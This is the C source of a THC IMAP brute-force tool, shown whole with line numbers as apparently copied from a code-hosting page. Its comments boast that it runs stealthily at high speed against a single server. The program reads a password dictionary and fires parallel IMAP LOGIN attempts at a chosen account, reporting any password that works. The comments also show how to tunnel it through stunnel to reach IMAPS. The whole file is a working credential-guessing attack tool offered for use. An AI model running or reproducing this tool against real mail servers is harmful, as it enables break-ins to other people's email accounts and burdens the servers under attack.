thc_imap_bruter.c 6.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361
  1. /*
  2. * IMAP bruter. Coded this in a hurry. hydra was to slow (and sucked 100% cpu).
  3. * I had this one running with 30 passwords / second (100 parallel connections)
  4. * against a single server and it did not even appear in top.
  5. *
  6. * Visit us -- your enemies already did.
  7. * http://www.thc.org - THE HACKERS CHOICE
  8. *
  9. * gcc -Wall -O2 -g -o imap_bruter imap_bruter.c
  10. *
  11. * SSL support for dummies:
  12. * stunnel -c -d 127.0.0.1:9993 -f -r imap.theirdomain.com:993
  13. *
  14. * Example: (Brute 40 in parallel)
  15. * ./imap_bruter -r 1.2.3.4 -l carol -n 60 <dictionary.txt
  16. */
  17. #include <sys/time.h>
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <netinet/in.h>
  21. #include <arpa/inet.h>
  22. #include <netdb.h>
  23. #include <stdio.h>
  24. #include <unistd.h>
  25. #include <fcntl.h>
  26. #include <time.h>
  27. #include <errno.h>
  28. #include <string.h>
  29. #include <stdlib.h>
  30. struct peer_str
  31. {
  32. char password[64];
  33. char buf[256];
  34. int sox;
  35. int read;
  36. char flags;
  37. time_t time;
  38. };
  39. #define FL_CONNECTED (0x01)
  40. #define FL_HEADERREAD (0x02)
  41. #define ERREXIT(a...) do { \
  42. fprintf(stderr, "%s:%d ", __func__, __LINE__); \
  43. fprintf(stderr, a); \
  44. exit(-1); \
  45. } while (0)
  46. static char g_flags;
  47. #define FL_FINISHED (0x04) /* wordlist finished */
  48. static unsigned short g_port;
  49. static unsigned int g_ip;
  50. static char *g_login;
  51. static unsigned int g_parallel;
  52. time_t time_now;
  53. static fd_set g_rfds, g_wfds;
  54. static unsigned int cracks;
  55. static char *g_passwd;
  56. static int n_peers;
  57. struct peer_str peers[1024];
  58. static unsigned int
  59. hostname(char *host)
  60. {
  61. struct hostent *he;
  62. int ip;
  63. if ( (ip = inet_addr(host)) != -1)
  64. return ip;
  65. if ( (he = gethostbyname(host)) == NULL)
  66. return -1;
  67. if (he->h_length != 4)
  68. return -1;
  69. return *(int *)he->h_addr;
  70. }
  71. int tcp_socket_connect(unsigned int ip, unsigned short port)
  72. {
  73. int fd;
  74. struct sockaddr_in addr;
  75. int i;
  76. if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  77. return -1;
  78. memset(&addr, 0, sizeof addr);
  79. addr.sin_family = PF_INET;
  80. addr.sin_addr.s_addr = ip;
  81. addr.sin_port = port;
  82. if (connect(fd, (struct sockaddr *)&addr, sizeof addr) != 0)
  83. {
  84. close(fd);
  85. return -1;
  86. }
  87. i = i;
  88. setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &i, sizeof i);
  89. fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);
  90. return fd;
  91. }
  92. static void
  93. usage(void)
  94. {
  95. fprintf(stderr, ""
  96. "imap-bruter [rlpn]\n"
  97. "Options:\n"
  98. " -r <ip address> - Server imapd runs on. [default: 127.0.0.1]\n"
  99. " -p <port> - Port imapd runs on. [default: 143]\n"
  100. " -l <login name> - Login name\n"
  101. " -n <parallel> - Number of parallel connections.\n"
  102. "Passwords are read from stdin. Stunnel can be used if IMAPS is in place.\n"
  103. "");
  104. exit(0);
  105. }
  106. static void
  107. do_getopt(int argc, char *argv[])
  108. {
  109. int c;
  110. g_port = 143;
  111. g_parallel = 5;
  112. while ((c = getopt(argc, argv, "r:l:p:n:")) != -1)
  113. {
  114. switch (c)
  115. {
  116. case 'r':
  117. g_ip = hostname(optarg);
  118. break;
  119. case 'l':
  120. g_login = strdup(optarg);
  121. break;
  122. case 'p':
  123. g_port = atoi(optarg);
  124. break;
  125. case 'n':
  126. g_parallel = atoi(optarg);
  127. break;
  128. default:
  129. usage();
  130. break;
  131. }
  132. }
  133. if (g_ip == -1)
  134. {
  135. fprintf(stderr, "Unknown host!\n");
  136. usage();
  137. }
  138. if (!g_login)
  139. usage();
  140. if (g_parallel <= 0)
  141. usage();
  142. }
  143. static void
  144. peer_clear(struct peer_str *p)
  145. {
  146. if (p->sox >= 0)
  147. close(p->sox);
  148. p->sox = -1;
  149. p->read = 0;
  150. p->flags = 0;
  151. /* Keep 'password' as it has not yet been processed */
  152. n_peers--;
  153. }
  154. static int
  155. do_readpwd(struct peer_str *p)
  156. {
  157. char *ptr;
  158. if (g_flags & FL_FINISHED)
  159. return -1;
  160. cracks++;
  161. memset(p->password, 0, sizeof p->password);
  162. if (fgets(p->password, sizeof p->password - 1, stdin) == NULL)
  163. return -1;
  164. g_passwd = p->password;
  165. ptr = strchr(p->password, '\n');
  166. if (ptr)
  167. *ptr = '\0';
  168. return 0;
  169. }
  170. /*
  171. * Socket ready for reading. Read line.
  172. */
  173. void
  174. do_read(struct peer_str *p)
  175. {
  176. ssize_t n;
  177. char *ptr;
  178. char buf[1024];
  179. n = read(p->sox, p->buf + p->read, sizeof p->buf - p->read - 1);
  180. if (n <= 0)
  181. goto err;
  182. p->read += n;
  183. if (p->read + 1 >= sizeof p->buf)
  184. goto err;
  185. p->buf[p->read] = '\0';
  186. ptr = strchr(p->buf, '\n');
  187. if (!ptr)
  188. return;
  189. p->time = time_now;
  190. if (p->flags & FL_HEADERREAD)
  191. {
  192. if (strstr(p->buf, " NO") == NULL)
  193. {
  194. printf("FOUND '%s'\n", p->password);
  195. exit(0);
  196. }
  197. if (do_readpwd(p) != 0)
  198. {
  199. g_flags |= FL_FINISHED;
  200. goto err;
  201. }
  202. } else {
  203. p->flags |= FL_HEADERREAD;
  204. if (p->password[0] == '\0')
  205. {
  206. if (do_readpwd(p) != 0)
  207. {
  208. g_flags |= FL_FINISHED;
  209. goto err;
  210. }
  211. }
  212. }
  213. snprintf(buf, sizeof buf, "1 login \"%.100s\" \"%.100s\"\r\n", g_login, p->password);
  214. n = strlen(buf);
  215. if (write(p->sox, buf, n) != n)
  216. {
  217. /* Write should not fail. Linux kernel always has 1024 write
  218. * buffer for us.
  219. */
  220. goto err;
  221. }
  222. return;
  223. err:
  224. peer_clear(p);
  225. }
  226. static void
  227. peer_init(struct peer_str *p)
  228. {
  229. p->sox = -1;
  230. p->read = 0;
  231. }
  232. int
  233. main(int argc, char *argv[])
  234. {
  235. struct timeval tv;
  236. int conn;
  237. int maxfd;
  238. struct peer_str *p;
  239. int i, n;
  240. int ret;
  241. socklen_t len;
  242. time_t time_last, time_start;
  243. unsigned int hours, min, sec;
  244. unsigned int old_cracks = 0;
  245. double cs;
  246. g_passwd = "<waiting...>";
  247. do_getopt(argc, argv);
  248. time_now = time(NULL);
  249. time_start = time_now;
  250. time_last = time_now;
  251. printf("Bruting '%s' with %d in parallel\n", g_login, g_parallel);
  252. for (i = 0; i < g_parallel; i++)
  253. peer_init(&peers[i]);
  254. while (1)
  255. {
  256. tv.tv_sec = 1;
  257. tv.tv_usec = 0;
  258. FD_ZERO(&g_rfds);
  259. FD_ZERO(&g_wfds);
  260. conn = 0;
  261. maxfd = 0;
  262. for (i = 0; i < g_parallel; i++)
  263. {
  264. if (peers[i].sox >= 0)
  265. {
  266. if (peers[i].flags & FL_CONNECTED)
  267. FD_SET(peers[i].sox, &g_rfds);
  268. else
  269. FD_SET(peers[i].sox, &g_wfds);
  270. } else if ((conn < 5) && (!(g_flags & FL_FINISHED))) {
  271. peers[i].time = time_now;
  272. peers[i].sox = tcp_socket_connect(g_ip, htons(g_port));
  273. if (peers[i].sox >= 0)
  274. FD_SET(peers[i].sox, &g_wfds);
  275. conn++;
  276. }
  277. if (peers[i].sox > maxfd)
  278. maxfd = peers[i].sox;
  279. }
  280. if (maxfd == 0)
  281. {
  282. fprintf(stderr, "Finished %u cracks after %lu sec.\n", cracks, time_now - time_start);
  283. exit(0);
  284. }
  285. n = select(maxfd + 1, &g_rfds, &g_wfds, NULL, &tv);
  286. time_now = time(NULL);
  287. if ((time_last < time_now) && (old_cracks != cracks))
  288. {
  289. sec = time_now - time_start;
  290. hours = sec / 3600;
  291. min = (sec - hours * 3600) / 60;
  292. sec = sec % 60;
  293. cs = ((float)cracks) / ((float)(time_now - time_start));
  294. fprintf(stderr, "[%u:%02u:%02u] total: %d with %d peers: '%s' (%1.03f c/s)\n", hours, min, sec, cracks, n_peers, g_passwd, cs);
  295. time_last = time_now;
  296. old_cracks = cracks;
  297. }
  298. for (i = 0; i < g_parallel; i++)
  299. {
  300. p = &peers[i];
  301. if (p->sox < 0)
  302. continue;
  303. if (p->time + 30 < time_now)
  304. {
  305. fprintf(stderr, "TIMEOUT on socket...\n");
  306. peer_clear(p);
  307. continue;
  308. }
  309. if (FD_ISSET(p->sox, &g_wfds))
  310. {
  311. len = sizeof ret;
  312. ret = 0;
  313. if ((getsockopt(p->sox, SOL_SOCKET, SO_ERROR, &ret, &len) != 0) || (ret != 0))
  314. peer_clear(p);
  315. else {
  316. p->flags |= FL_CONNECTED;
  317. n_peers++;
  318. }
  319. } else if (FD_ISSET(p->sox, &g_rfds)) {
  320. do_read(p);
  321. }
  322. } /* for through all peers.. */
  323. }
  324. }